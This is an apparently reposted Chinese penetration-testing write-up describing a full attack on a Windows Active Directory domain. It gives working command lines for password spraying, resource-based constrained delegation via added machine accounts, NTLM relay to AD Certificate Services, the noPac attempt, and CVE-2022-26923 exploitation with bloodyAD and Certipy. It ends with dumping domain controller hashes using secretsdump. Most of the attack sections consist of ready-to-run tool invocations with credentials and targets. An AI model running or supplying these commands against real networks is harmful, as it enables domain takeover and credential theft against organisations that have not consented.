一次梦里的域环境实战攻击

admin 2022年6月2日20:50:18评论299 views字数 4946阅读16分29秒阅读模式


文章作者:lostwolf & Jumbo

一次梦里域环境实战攻击

说明:梦里项目,相关信息如ip,域名,账户等信息都是后期编的,可能会出现文不对题,不要纠结细节


0x01 外网打点

不多赘述。

0x02 内网资产探测

一、内网渗透一般关注以下重点系统

1.邮件服务器权限

2.OA系统权限

3.集中运维管理平台权限

4.杀毒软件管理平台权限

5.统一认证系统权限

6.域控权限

7.知识库权限

8.Git权限


关于内网如何找重点资产不在此作过多说明,通常是扫描Web Title, NetBIOS , SMBver

找域机器:fscan_amd64 -np -m netbios -h 192.168.17.1/24

二、域入口

通过前期扫描发现了域环境,想要打域第一步是要获取域机器权限或者域账号权限

通过前期域用户枚举及密码喷射快速获取到域名账号权限:admin/Passw0rd

三、域信息收集

为了减少动作尽量减少扫描,采用本地离线分析

通过 socks5 代理 本地mimikatz 注入ADExplorer.exe 进行域信息分析 :

Dump 域快照作后期分析:

ADExplorer.exe -snapshot ""


思路:首先判断是否是域管,如果是域管组用户直接省去获取域管权限

一次梦里的域环境实战攻击



分析是否为域特权账号AdminSDHolder 受保护组

通常为域内高权限用户,在我的Server2008R2下包含以下组:

Administrators

Print Operators

Backup Operators

Replicator

Domain Controllers

Schema Admins

Enterprise Admins

Domain Admins

Server Operators

Account Operators

Read-only Domain Controllers

Organization Management

Exchange Trusted Subsystem


通过对该账号分析发现adminCount 为1

说明:如果 adminCount 的值设置为 1,则表示用户已经或曾经是受保护组的成员,实际很多情况遇到adminCount=1  但非特权用户

一次梦里的域环境实战攻击


分析是否在domain admins

不在域管组

一次梦里的域环境实战攻击



项目上一般选漏洞优先选择:

1.不会对系统造成破坏

2.易于利用

3.稳定

4.尽可能新(时间差)

拿来就可用的是最好的,渗透争分夺秒,很难保证下一个小时不被踢出去,另外在实战攻防成常态情况下,管理员安全意识都提高了,基本上都会比较及时打补丁

0x03 域内机器权限获取

RBCD攻击

现在的权限还在非域内的环境中,为了方便通一些域内服务,需要拿下一台域内机器,根据上文得知我们现在拥有一个域账号密码,因此可以通过查询mS-DS-CreatorSID来判断我们拥有的账号权限是否可以攻击其他机器权限:

一次梦里的域环境实战攻击


发现很多机器都是admin用户创建的,我们又有admin用户权限,即可给这些机器添加msds-allowedtoactonbehalfofotheridentity属性进行RBCD攻击。首先添加机器账号:

addcomputer.py redteam.com/admin:P@ssw0rd -computer-name evilcomputer$ -computer-pass Passw0rd -dc-ip  111.11.1.1

然后利用admin用户权限修改上述可控机器的msds-allowedtoactonbehalfofotheridentity属性(工具地址:https://github.com/Jumbo-WJB/SharpAllowedToAct-Modify

一次梦里的域环境实战攻击


查看是否成功(工具地址:https://github.com/Jumbo-WJB/search_rbcd

一次梦里的域环境实战攻击


申请票据:

一次梦里的域环境实战攻击

利用票据登录机器:

一次梦里的域环境实战攻击

至此获取到一台域内机器。

0x04 获取域控权限

一、ADCS漏洞

在 PKI (公钥基础结构)中,数字证书用于将公密钥对的公钥与其所有者的身份相关联。为了验证数字证书中公开的身份,所有者需要使用私钥来响应质询,只有他才能访问。

一次梦里的域环境实战攻击

图片引用:ADCS攻击面挖掘与利用

Microsoft 提供了一个完全集成到 Windows 生态系统中的公钥基础结构 (PKI) 解决方案,用于公钥加密、身份管理、证书分发、证书撤销和证书管理。启用后,会识别注册证书的用户,以便以后进行身份验证或撤销证书,即 Active Directory Certificate Services (ADCS)。


漏洞利用

漏洞特性:需要NTLM中继

NTLM Relay to ADCS HTTP Endpoints

一次梦里的域环境实战攻击


ntlmrelayx.py -t http://192.x.x.x/certsrv/certfnsh.asp -smb2support --adcs --template "domain controller" --no-http-server

一次梦里的域环境实战攻击



利用 kekeo 进行 ask tgt

一次梦里的域环境实战攻击


利用失败!

查阅相关资料发现是域控不支持该种认证方式? 


后期查看CVE-2022–26923漏洞分析及复现另一种利用方法:

将前面生成的base64证书解码保存为pfx

一次梦里的域环境实战攻击


利用certipy进行证书认证成功获取DC 机器账号hash

一次梦里的域环境实战攻击


Dump hash

secretsdump.py -hashes :1338xxxxxxxxxxxxxxxx7 redteam.com/[email protected] -no-pass -just-dc

拿下dc 不在此赘述了

一次梦里的域环境实战攻击


二、 CVE-2021-42278 and CVE-2021-42287(noPac)

漏洞利用

CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。

CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。

假如域内有一台域控名为 DC(域控对应的机器用户为 DC$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 SAMTHEADMIN-48$,再把机器用户 SAMTHEADMIN-48$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 SAMTHEADMIN-48$。这个时候 KDC 就会判断域内没有 DC 这个用户,自动去搜索 DC$(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。

以上文字引用来源:域内权限提升新姿势:CVE-2022–26923漏洞分析及复现


自动工具:https://github.com/WazeHell/sam-the-admin

一次梦里的域环境实战攻击


利用失败

三、 CVE-2022–26923

漏洞特性:无需中继

漏洞简介

漏洞类型: 特权提升

漏洞组件:活动目录证书服务(Active Directory Certificate Services,AD CS)

漏洞简述:通过构造机器账户并篡改dNSHostName属性,在证书申请时AD CS将dNSHostName属性嵌入证书中,进而机器账户获得高权限的域控身份。

漏洞详情:
CVE-2022-26923 - 安全更新程序指南 - Microsoft - Active Directory Domain Services Elevation of Privilege Vulnerability
CVE-2022-26923 (mitre.org)

漏洞利用

直接修改userPrincipalName 出现错误,出现一个约束冲突.

原因是SPN的唯一性,当我们试图将TEST$机器账户的dNSHostName属性更新为DC-WIN2012.redteam.com时,域控制器试图更新SPN属性,该属性将被更新为包括RestrictedKrbHost/DC-WIN2012.redteam.comHOST/DC-WIN2012.redteam.com,这将与域控制器的SPN属性冲突。

因此,通过更新TEST$机器账户的dNSHostName属性,当域控制器也试图更新TEST$机器账户的SPN时,我们间接地造成了约束性违反。

我们注意到,当我们更新dNSHostName时,只有两个值被更新和检查,即RestrictedKrbHost/TEST.redteam.comHOST/TEST.redteam.com,其中包含dNSHostName属性值,解决措施就是删除TEST$机器账户中这两个SPN值,在域控同步更新时不造成冲突

一次梦里的域环境实战攻击


此时,我们使用TEST$机器账户申请证书时,颁发的证书中将会包含填充篡改后的dNSHostName,即DC-WIN2012.redteam.com。TEST$机器账户申请的证书就具备域控的身份了。

使用bloodyAD工具

参考文章:域内权限提升新姿势:CVE-2022–26923漏洞分析及复现


# 判断用户能否创建机器账户
proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 getObjectAttributes 'DC=redteam,DC=com' ms-DS-MachineAccountQuota

# 创建机器账
proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 addComputer bloodyAD 'Passw0rd'

一次梦里的域环境实战攻击


检查下,确实创建成功,不过没有预先设置dNSHostNameSPN


一次梦里的域环境实战攻击

添加机器账户的dNSHostName需要指定可辩别名称(DistinguishedName, DN)


# 设置DNSHostName
proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 setAttribute 'CN=bloodyAD,CN=Computers,DC=redteam,DC=com' DNSHostName '["DC-WIN2012.redteam.com"]'
#
查询机器账户的DNSHostName
proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 getObjectAttributes 'CN=TEST,CN=Computers,DC=redteam,DC=com' dnshostname


使用Certipy工具申请基于计算机模板的证书,这里的redteam-DC-WIN2012-CA在前面的AD CS配置中有设置到


Shell
# 使用Certipy为TEST$账户申请证书
proxychains certipy req 'redteam.com/WUHU$:[email protected]' -ca 'redteam-DC-WIN2012-CA' -template 'Machine'

此处需要注意的是,非域内需要添加-dc-ip参数否则请求失败

一次梦里的域环境实战攻击


使用该证书进行认证,Certipy工具检索到了DC-WIN2012$的NTLM Hash。

Shell
proxychains certipy auth -pfx dc-win2012.pfx -username DC-WIN2012$ -domain redteam.com -dc-ip 10.10.1.10

一次梦里的域环境实战攻击


至此成功获取dc机器hash。



添加文章作者:lostwolf Jumbo 进行深入交流:

lostwolf 微信号:n0n0x_

Jumbo 微信号:Jumbo_Woo 

原文始发于微信公众号(中国白客联盟):一次梦里的域环境实战攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月2日20:50:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次梦里的域环境实战攻击https://cn-sec.com/archives/1080421.html

发表评论

匿名网友 填写信息